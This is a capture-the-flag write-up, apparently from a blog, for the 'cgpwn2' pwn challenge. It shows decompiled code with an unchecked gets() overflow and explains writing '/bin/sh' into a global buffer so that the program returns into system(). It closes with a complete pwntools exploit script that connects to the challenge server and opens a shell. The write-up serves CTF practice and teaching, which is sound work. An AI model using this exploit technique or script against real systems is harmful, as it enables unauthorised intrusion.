当前位置:网站首页>PWN attack and defense world cgpwn2
PWN attack and defense world cgpwn2
2022-07-02 00:00:00 【Day-3】

First , View the relevant contents of the file .
Throw in IDA View code in .
main function
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
hello();
puts("thank you");
return 0;
}
hello function
char *hello()
{
__int16 *p_s; // eax
char v1; // bl
unsigned int v2; // ecx
__int16 *v3; // eax
__int16 s; // [esp+12h] [ebp-26h] BYREF
int v6; // [esp+14h] [ebp-24h] BYREF
p_s = &s;
v1 = 30;
if ( ((unsigned __int8)&s & 2) != 0 )
{
s = 0;
p_s = (__int16 *)&v6;
v1 = 28;
}
v2 = 0;
do
{
*(_DWORD *)&p_s[v2 / 2] = 0;
v2 += 4;
}
while ( v2 < (v1 & 0x1Cu) );
v3 = &p_s[v2 / 2];
if ( (v1 & 2) != 0 )
*v3 = 0;
puts("please tell me your name");
fgets(name, 50, stdin);
puts("hello,you can leave some message here:");
return gets((char *)&s);
}
We can do it in name String left in “/bin/sh”, Then stack overflow , obtain shell.

To write exp:
from pwn import *
context(os='Linux',arch="x86",log_level="debug")
bin_sh_addr = 0x0804A080
elf = ELF('cgpwn2')
system_addr = elf.plt["system"]
content = 0
def main():
global day3
if content == 1:
day3 = process("cgpwn2")
else:
day3 =remote("111.200.241.244",64520)
payload = b'a' * (0x26 + 4) + p32(system_addr) + b'aaaa'
payload = payload + p32(bin_sh_addr)
day3.recvuntil("please tell me your name\n")
day3.sendline("/bin/sh")
day3.recvuntil("hello,you can leave some message here:\n")
day3.sendline(payload)
day3.interactive()
main()
Finally get Flag.
边栏推荐
- PostgreSQL notes (10) dynamically execute syntax parsing process
- 13 MySQL constraint
- 多表操作-一对一,一对多与多对多
- Asp .NetCore 微信订阅号自动回复之文本篇
- ADO.NET 之sqlConnection 对象使用摘要
- Using uni simple router, dynamically pass parameters typeerror: cannot convert undefined or null to object
- cookie、session、tooken
- [QT] solve the problem that QT MSVC 2017 cannot compile
- Use vb Net to convert PNG pictures into icon type icon files
- Redis master-slave synchronization
猜你喜欢

写给当前及未来博士研究生一些建议整理分享

Key points of security agreement
![Jielizhi, production line assembly link [chapter]](/img/1d/d1736fad33c428e61f450aad512ce0.png)
Jielizhi, production line assembly link [chapter]

TS初次使用、ts类型

Why does blocprovider feel similar to provider?
![Jielizhi, production line assembly link [chapter]](/img/f8/20c41ffe9468d59bf25ea49f73751e.png)
Jielizhi, production line assembly link [chapter]

【QT】Qt 使用MSVC2017找不到编译器的解决办法

LDR6035智能蓝牙音响可充可放(5.9.12.15.20V)快充快放设备充电
![Various global files related to [.Net core] program](/img/89/32623abf30d3dc92a3cdb1710a624f.png)
Various global files related to [.Net core] program

下载在线视频 m3u8使用教程
随机推荐
ADO. Net SqlConnection object usage summary
[must] bm41 output the right view of the binary tree [medium +]
华为HMS Core携手超图为三维GIS注入新动能
记录一下大文件上传偶然成功偶然失败问题
回顾数据脱敏系统
ADO. Net SqlCommand object
ERP项目施行计划的目的是什么?
Reproduction process and problems of analog transformer (ICLR 2022 Spotlight)
Overview of edge calculation
[cmake] cmake configuration in QT Creator
TS initial use, TS type
Write some suggestions to current and future doctoral students to sort out and share
RPA教程01:EXCEL自动化从入门到实操
golang中的iota
Similarities and differences between the defined identity execution function authid determiner and PostgreSQL in Oracle
Key points and difficulties of the course "information content security" at Harbin Institute of Technology
13 MySQL-约束
Chapter 6 data flow modeling
使用 pair 做 unordered_map 的键值
leetcode96不同的二叉搜索树